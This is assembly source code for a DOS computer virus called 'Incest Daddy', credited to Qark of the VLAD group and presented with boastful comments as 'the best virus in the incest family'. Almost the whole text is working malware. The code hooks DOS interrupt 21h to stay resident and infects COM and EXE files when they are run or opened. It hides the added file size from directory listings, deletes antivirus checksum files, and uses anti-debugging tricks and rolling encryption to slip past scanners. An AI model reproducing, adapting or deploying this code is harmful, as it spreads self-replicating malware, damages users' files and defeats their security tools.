; 旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ; � Daddy Incest Virus � ; 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ; Another member of the Incest Family. ; ; TSR. COMMAND.COM infecting. Directory stealth. ; COM and EXE infection. Good Encryption. ; (We had OVL infection but it crashes!) ; ; Deletes all those CRC checking files. ; Avoids TBScan/F-prot. ; Since the final release of this virus I have learnt many new optimisations ; and coding techniques from Terminator Z. Look for these in the next issue ; of the VLAD magazine. ; This is the best virus in the incest family by far. Please enjoy. org 0 entry: call crap_ret ;Get IP return_here: ;Where the ret will return. mov word ptr cs:[si+offset quit], 20cdh quit: ;Put an 'int 20h' here. ;Because of DOS's prefetch ;queue, it will glide over ;it, while f-prot/debug etc ;will stop here. ;Put this in last because ;it really fucks up debug. ;Also, it fucks TBClean. cmp byte ptr cs:[si+exe_com],1 je com_start ;Exe shit in here. mov word ptr cs:[si+offset orig_sp],sp mov word ptr cs:[si+offset orig_ss],ss cli mov dx,cs mov ss,dx mov sp,si add sp,offset stackend sti call unencrypt call install_tsr jmp exe_end ;Jump down so that bit is inside ;the encryption. unencrypt proc near ;Setup for unencryption. mov al,byte ptr cs:[si+offset encryptor] push si add si,offset enc_start call encrypt pop si ret unencrypt endp com_start: call unencrypt enc_start: call install_tsr ;Restore orig 3 bytes. add si,offset old3 mov di,100h mov cx,3 rep movsb mov si,0ffh inc si push si ret exe_end: ;add es,10h mov dx,es add dx,10h ;add original offset of cs in paragraphs. add word ptr cs:[si+jump+2],dx ;now you have your cs to jump to ;move it where we want it then jump to it. cli mov sp,word ptr cs:[si+orig_sp] mov ss,word ptr cs:[si+orig_ss] sti xor dx,dx xor si,si db 0eah ;JMPF jump dw 0 dw 0 install_TSR proc near ;Should work with both EXE's and COM's. push ax push bx push cx push dx push ds push es ;Test to see whether daddy is home. mov ah,61h ;Daddy! mov di,'DA' mov bx,'D' int 21h ;do compares here... cmp cx,'DA' jne go_tsr jmp jend go_tsr: xor ax,ax ;Segment 0... where the mov es,ax ;interrupt table lurks... mov ax,word ptr es:[132] ;Put int21 in i21... mov word ptr cs:[si+offset i21],ax mov word ptr cs:[si+offset int21_2],ax mov ax,word ptr es:[134] mov word ptr cs:[si+offset i21 + 2],ax mov word ptr cs:[si+offset int21_2 + 2],ax ;Check for incest family marker here... mov ah,61h ;Sis!(ter) mov di,'IN' int 21h cmp di,'NI' jne not_incest mov word ptr cs:[si+offset int21_2],cx mov word ptr cs:[si+offset int21_2+2],dx not_incest: mov ax,ds dec ax mov es,ax ;MCB segment. cmp byte ptr es:[0],5ah ;'Z' - last MCB. jne jend sub word ptr es:[3],150 sub word ptr es:[12h],150 ;150*16 bytes less memory. mov ax,es:[12h] ;find virus MCB segment mov es,ax ;es=virus MCB segment mov byte ptr es:[0],5ah ;mark as last in MCB chain mov word ptr es:[1],8 ;DOS now owns this mov word ptr es:[3],2384 ;set the size of segment inc ax ;ax=virus segment mov es,ax ;es=virus segment mov di,offset entry mov cx,length ;virus size push cs pop ds push si rep movsb ;copy virus to TOM pop si mov bx,es xor ax,ax ;es = segment of vector table mov es,ax mov ax,offset infection ;change vector table to point cli mov word ptr es:[132],ax ;to our virus... mov word ptr es:[134],bx sti jend: pop es pop ds pop dx pop cx pop bx pop ax ret install_TSR endp ;###### Here is the Details ###### Virus_Name db '[Incest Daddy]',0 Author db 'by Qark/VLAD',0 old3 db 0cdh,20h,0 ;Storage for the bytes in com files infection proc far cmp ah,4bh je test_file cmp ah,43h je test_file cmp ah,56h je test_file cmp ax,6c00h je test_file cmp ah,3dh je test_file cmp ah,11h je dir_listing cmp ah,12h je dir_listing ;insert residency test here... cmp ah,61h jne not_testing cmp di,'DA' jne chk4incest cmp bx,'D' jne not_testing mov cx,'DA' ;Return test parameters. iret chk4incest: cmp di,'IN' jne not_testing mov di,'NI' ;Incest Marker... mov cx,word ptr cs:[int21_2] mov dx,word ptr cs:[int21_2 + 2] ;Pass original int21h out. iret dir_listing: jmp dir_stealth not_testing: jmp far_tsr_end test_file: push ax push bx push cx push dx push ds push es push si push di cmp ah,6ch jne no_fix_6c mov dx,si no_fix_6c: cld ;Clear Direction Flag. mov si,dx ;Filename being executed. dec si find_ascii_z: inc si cmp byte ptr ds:[si],0 ;Find end of ASCIIZ name. jne find_ascii_z sub si,4 ;Length of '.EXE' cmp word ptr ds:[si],'E.' je exe_found1 jmp cmp_com exe_found1: cmp word ptr ds:[si+2],'EX' ;Test for '.EXE' je exe_found2 cmp_com: cmp word ptr ds:[si],'C.' je com_found1 jmp filename_exit com_found1: cmp word ptr ds:[si+2],'MO' ;Test for '.COM' jne filename_exit mov byte ptr cs:exe_com,1 jmp do_file filename_exit: jmp f_pop_exit exe_found2: mov byte ptr cs:[exe_com],0 Do_file: mov ax,3d02h call int21h jc filename_exit mov bx,ax xor ax,ax mov es,ax mov ax,word ptr es:[144] mov word ptr cs:[i24],ax mov ax,word ptr es:[146] mov word ptr cs:[i24+2],ax ;Save int24h mov word ptr es:[144],offset int24h mov es:[146],cs ;Cool handler! push dx ;Save the path for l8r mov ax,5700h call int21h ;Save the file date for ;later use. mov cs:filetime,cx ;File date and Time. mov cs:filedate,dx cmp cx,dx jne infect pop dx ;Pop this or everything will ;stuff up. jmp far_close_exit infect: pop dx ;DS:DX = path of infectee. call del_crc_files ;Delete some CRC checkers. ;Com and Exe go their separate ways... cmp byte ptr exe_com,0 je exe_infection jmp com_infection exe_infection: ;My Exe infection code is lame!!!! ;read in header mov ah,3fh mov cx,1ah mov dx,offset header ;Read the header in here. call int21h mov si,offset header ;Index to the header. mov cx,word ptr [si] ;MZ header. add ch,cl ;Add M+Z = 167. cmp ch,167 je good_exe jmp far_close_exit good_exe: ;convert headersize to bytes mov ax,word ptr [si+8] mov cl,4 shl ax,cl ;Mul by 16 - paragraphs mov word ptr hsize,ax ;Header size in bytes. ;save original cs & ip for later use mov ax,word ptr [si+14h] mov word ptr jump,ax mov ax,word ptr [si+16h] mov word ptr jump+2,ax ;end of file mov al,2 ;Go to EOF. call lseek ;get file length ;convert length to paragraph/offset form sub ax,word ptr hsize sbb dx,0 mov cx,10h div cx ;write to header mov word ptr [si+14h],dx ;New IP/CS mov word ptr [si+16h],ax ;fix up encryption call encrypt_setup ;write virus to eof mov ah,40h mov cx,length ;Virus Size mov dx,offset stackend call int21h jc far_close_exit ;get new file length mov al,2 ;EOF again. call lseek ;work out number of pages and write to header push dx ;Save them. push ax mov cx,512 ;Page Size = 512. div cx inc ax mov word ptr [si+4],ax ; new file size pop ax pop dx sub ax,word ptr hsize sbb dx,0 mov cx,512 div cx mov word ptr [si+2],dx ;Size of last page. mov al,0 ;Start of file. call lseek mov ah,40h ;Write header. mov dx,offset header mov cx,1ah call int21h time_Exit: mov ax,5701h ;Restore file time. mov cx,filedate mov dx,filedate call int21h far_close_exit: mov ah,3eh ;Close file. call int21h xor ax,ax mov es,ax ;Interrupt vector table at mov ax,word ptr cs:[i24] ;Segment 0. mov es:[144],ax mov ax,word ptr cs:[i24+2] mov es:[146],ax ;Reset int 24h f_pop_exit: pop di pop si pop es pop ds pop dx ;Restore everything. pop cx pop bx pop ax far_tsr_end: db 0eah ;Self modifying code here. i21 dd 0 com_infection: mov ah,3fh mov cx,3 ;CX = no. to read mov dx,offset old3 ;Read into old3 call int21h ;Read 1st three bytes mov al,02h ;Seek to end of file call lseek ;End of file push ax call encrypt_setup mov dx,offset stackend ;Address of virus mov cx,length ;Length of virus mov ah,40h call int21h ;Write virus to file jc far_close_exit xor al,al ;Seek to start call lseek ;Start of file pop ax ;Restore file length sub ax,3 mov cs:[jumpbit+1],ax mov dx,offset jumpbit ;Address of start mov ah,40h mov cx,3 ;Write three bytes call int21h ;Write jump for ;file newly infected. jmp time_exit jumpbit db 0e9h,0,0 hsize dw 0 ;Header size in bytes. filedate dw 0 ;File date. filetime dw 0 ;File time. dir_stealth: ;This bit means that when you do a 'dir' there is no change in ;file size. call int21h ;Call the interrupt cmp al,0 ;straight off. jne end_of_dir push es push ax ;Save em. push bx push si mov ah,2fh ;Get DTA address. int 21h mov si,bx cmp byte ptr es:[si],0ffh ;Extended FCB ? jne not_extended add si,7 ;Add the extra's. not_extended: mov cx,word ptr es:[si+17h] ;Move time and date. mov ax,word ptr es:[si+19h] cmp ax,cx ;Are time and date equal ? jne dir_pop sub word ptr es:[si+1dh],length ;Subtract the file length. sbb word ptr es:[si+1fh],0 dir_pop: pop si pop bx pop ax pop es end_of_dir: iret ;Return to caller. ;Sets up the encryption for the TSR. encrypt_setup proc near mov word ptr quit,802eh ;Move the bytes changed by ;the anti-debugging code ;back to the start. cmp byte ptr encryptor,0ffh jne not_zero inc byte ptr encryptor ;Make sure it's not zero. not_zero: inc byte ptr encryptor ;Change the encryptor to fuck mov al,byte ptr encryptor ;up all those signature ;scanners... push si push cs pop es mov si,offset entry mov di,offset stackend mov cx,length rep movsb mov si,offset stackend + offset enc_start call encrypt pop si ret Encrypt_Setup endp Del_CRC_Files proc near ; Deletes AV CRC checking files. This saves the user a heap of disk space. ; Aren't we just good guys ?! :) push cs ;ES=CS pop es add si,4 ;SI=End of ASCIIZ name. mov cx,si sub cx,dx ;CX=Length of string. mov si,dx ;SI=Start of ASCIIZ mov di,offset stackseg ;Put it all in stackseg rep movsb ;Move it! push cs ;DS=CS pop ds mov si,offset file1 ;First file. find_path: cmp byte ptr [di],'\' ;Looking for a slash. je add_name ;Found a slash! cmp di,offset stackseg ;Slashless :( je no_slash dec di jmp find_path no_slash: mov word ptr stackseg,'\.' ;Put or own slash in... inc di ;Default directory. add_name: inc di mov cx,13 ;Move our filename in. rep movsb mov dx,offset stackseg ;Delete it! mov ah,41h call int21h cmp si,offset lseek ;Finished deleting. jne find_path ret Del_CRC_Files endp file1 db 'ANTI-VIR.DAT',0 ;Get rid of these pests. file2 db 'MSAV.CHK',0,0,0,0,0 file3 db 'CHKLIST.CPS',0,0 file4 db 'CHKLIST.MS',0,0,0 LSeek proc near ; Al = 0 = Start of file |||| Al = 2 = End of file mov ah,42h xor cx,cx xor dx,dx call int21h ret Lseek endp int24h proc near ;Stops embarassing error messages on write protected ;diskettes... mov al,3 iret int24h endp i24 dd 0 ;Original int24h int21h proc near ;False int21h pushf db 9ah ;'Call far ptr' opcode. int21_2 dd 0 ;Save second int 21h here... enc_end: ret int21h endp ;This routine must remain outside of the encryption. crap_ret proc near ;Crappy 'Ret' routine to get IP. mov bp,sp mov si,word ptr ss:[bp] sub si,offset return_here xor bp,bp ret crap_ret endp encrypt proc near ;SI = Offset of bit to be encrypted ;AL = Encryptor push cx mov cx,offset enc_end - offset enc_start enc_loop: ror al,1 neg al xor byte ptr cs:[si],al inc si loop enc_loop pop cx ret encrypt endp encryptor db 0 exe_com db 1 ;Exe or com file ? 1 = com orig_sp dw 0 orig_ss dw 0 header db 1ah dup (0) ;The temporary stack. stackseg db 100 dup (0) stackend db 0 length equ offset header ;The length of the virus.